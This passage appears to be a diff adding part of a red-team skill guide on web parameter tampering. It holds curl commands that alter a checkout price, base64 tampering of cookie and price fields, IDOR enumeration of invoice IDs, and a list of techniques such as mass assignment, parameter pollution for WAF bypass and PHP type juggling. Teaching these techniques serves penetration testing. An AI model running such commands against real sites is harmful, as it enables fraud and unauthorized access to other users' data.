|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Phase 5 — Parameter Tampering
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Modify parameters that appear fixed/uneditable in UI
|
|
148
|
+
|
|
149
|
+
# Hidden form fields
|
|
150
|
+
curl -X POST https://target.com/checkout \
|
|
151
|
+
-d "product_id=1&price=0.01&quantity=1" # Change price
|
|
152
|
+
|
|
153
|
+
# JWT claims tampering (see also rt-exploit-jwt)
|
|
154
|
+
# Encoded params in cookies
|
|
155
|
+
# Base64 decode → modify → re-encode
|
|
156
|
+
echo "dXNlcjoxMjM=" | base64 -d # user:123
|
|
157
|
+
echo -n "user:1" | base64 # → dXNlcjox → change to user 1
|
|
158
|
+
|
|
159
|
+
# IDOR via parameter change
|
|
160
|
+
GET /api/invoice/download?id=12345 → id=12344, id=12346
|
|
161
|
+
|
|
162
|
+
# Price in Base64 (some carts encode price server-side)
|
|
163
|
+
# Decode → modify → encode → submit
|
|
164
|
+
echo "cHJpY2U9MTAwMC4wMA==" | base64 -d # price=1000.00
|
|
165
|
+
echo -n "price=0.01" | base64 | curl -X POST ... -d "data=BASE64"
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Skill Levels
|
|
171
|
+
|
|
172
|
+
**BEGINNER:** Mass assignment with admin/role fields · HPP with duplicate params · Array injection
|
|
173
|
+
|
|
174
|
+
**INTERMEDIATE:** WAF bypass via HPP splitting · Hidden parameter discovery with Param Miner · JSON type confusion
|
|
175
|
+
|
|
176
|
+
**ADVANCED:** PHP type juggling exploit · Complex mass assignment via nested objects · Parameter precedence abuse
|
|
177
|
+
|
|
178
|
+
**EXPERT:** Framework-specific HPP behavior chains · Custom parameter pollution for specific filter bypass
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## References
|
|
183
|
+
|
|
184
|
+
- PortSwigger Mass Assignment: https://portswigger.net/web-security/api-testing/mass-assignment-vulnerabilities
|
|
185
|
+
- HPP research: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution
|
|
186
|
+
- Param Miner: https://github.com/PortSwigger/param-miner
|
|
187
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|